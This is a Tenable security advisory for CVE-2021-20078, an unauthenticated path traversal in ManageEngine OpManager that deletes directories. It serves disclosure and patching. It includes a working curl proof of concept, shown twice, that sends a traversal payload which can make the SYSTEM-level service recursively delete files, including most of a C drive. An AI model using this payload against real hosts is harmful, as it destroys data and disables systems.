ManageEngine OpManager Remote Directory Deletion

Critical

← View More Research Advisories

Synopsis

ManageEngine OpManager Remote Directory Deletion (CVE-2021-20078)

This is an unauthenticated path traversal remote directory deletion vulnerability in ManageEngine OpManager build 125346. The flaw exists in the Spark Gateway component in ManageEngine OpManager due to improper validation of user-supplied data prior to a directory deletion operation:

The vulnerability can be exploited with the following CURL command where the recordingFile is controlled via the 'server' URL parameter:

```
curl -i -H 'Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ==' -H 'Sec-WebSocket-Version: 13' -H 'Upgrade: websocket' 'http://<opmanager-host>:7275/RDP?server=../../../../../../../../<folder_to_be_deleted>/AAA&width=1440&height=788'
```

The recordingFile and the containing directory don't get deleted because the recordingFile is in use at the time of deletion. However, other files and sub-directories under the recordingFile's containing directory can be deleted. For example, if server=../../../../../../../../AAA is used, a file named C:\AAA.rdpv will be created on a Windows-based OpManager host and the OpManager (which runs as SYSTEM) will attempt to delete the entire C drive recursively. Although C:\AAA.rdpv will not be deleted, other files and sub-directories under C:\ can be deleted. This will not only delete some (deletable) OpManager files (i.e., DoS) but also cause the entire host in an unstable/unusable state.

Solution

Update ManageEngine OpManager to build version 125362.

Proof of Concept

```
curl -i -H 'Sec-WebSocket-Key: dZ5/5knh6Tky32w9JDXbDQ==' -H 'Sec-WebSocket-Version: 13' -H 'Upgrade: websocket' 'http://<opmanager-host>:7275/RDP?server=../../../../../../../../<folder_to_be_deleted>/AAA&width=1440&height=788'
```

Disclosure Timeline

03/02/2021 - Vulnerability Disclosed to Manage Engine
03/03/2021 - Manage Engine acknowledges disclosure
03/17/2021 - Tenable follows up on issue
03/17/2021 - Manage Engine responds they expect to have it patched by next week
03/26/2021 - Manage Engine says vulnerability has been fixed and release is in progress. Asks for vulnerability to be disclosed and tracked in zoho bugbounty portal.
03/30/2021 - Tenable follows up, asking when expected release date will be for patch
03/31/2021 - Manage Engine says patch is fixed and released in version 125362. Asks to delay disclosure to 90 days so customers have time to update.
03/31/2021 - Tenable responds that our policy dictates disclosure occurs if patch is publically released regardless of 90 days in order to prevent 1-day attacks.

All information within TRA advisories is provided "as is", without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email advisories@tenable.com

Risk Information

CVE ID: CVE-2021-20078
Tenable Advisory ID: TRA-2021-10
CVSSv3 Base / Temporal Score: 9.3
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:H
Risk Factor: Critical

Advisory Timeline

03/31/2021 - Advisory published.

tenable

Tenable.ad Active Directory

Tenable.ot Operational Technology

Tenable.sc Security Center

Tenable Lumin

Nessus

→ View all Products

FEATURED SOLUTIONS

Application Security

Building Management Systems

Cloud Security Posture Management

Compliance

Exposure Management

Finance

Healthcare

IT/OT

Ransomware

State / Local / Education

US Federal

Vulnerability Management

Zero Trust

→ View all Solutions

CUSTOMER RESOURCES

Resource Library

Community & Support

Customer Education

Tenable Research

Documentation

Trust and Assurance

Nessus Resource Center

Cyber Exposure Fundamentals

System Status

CONNECTIONS

Blog

Contact Us

Careers

Investors

Events

Media

tenable

Privacy Policy Legal 508 Compliance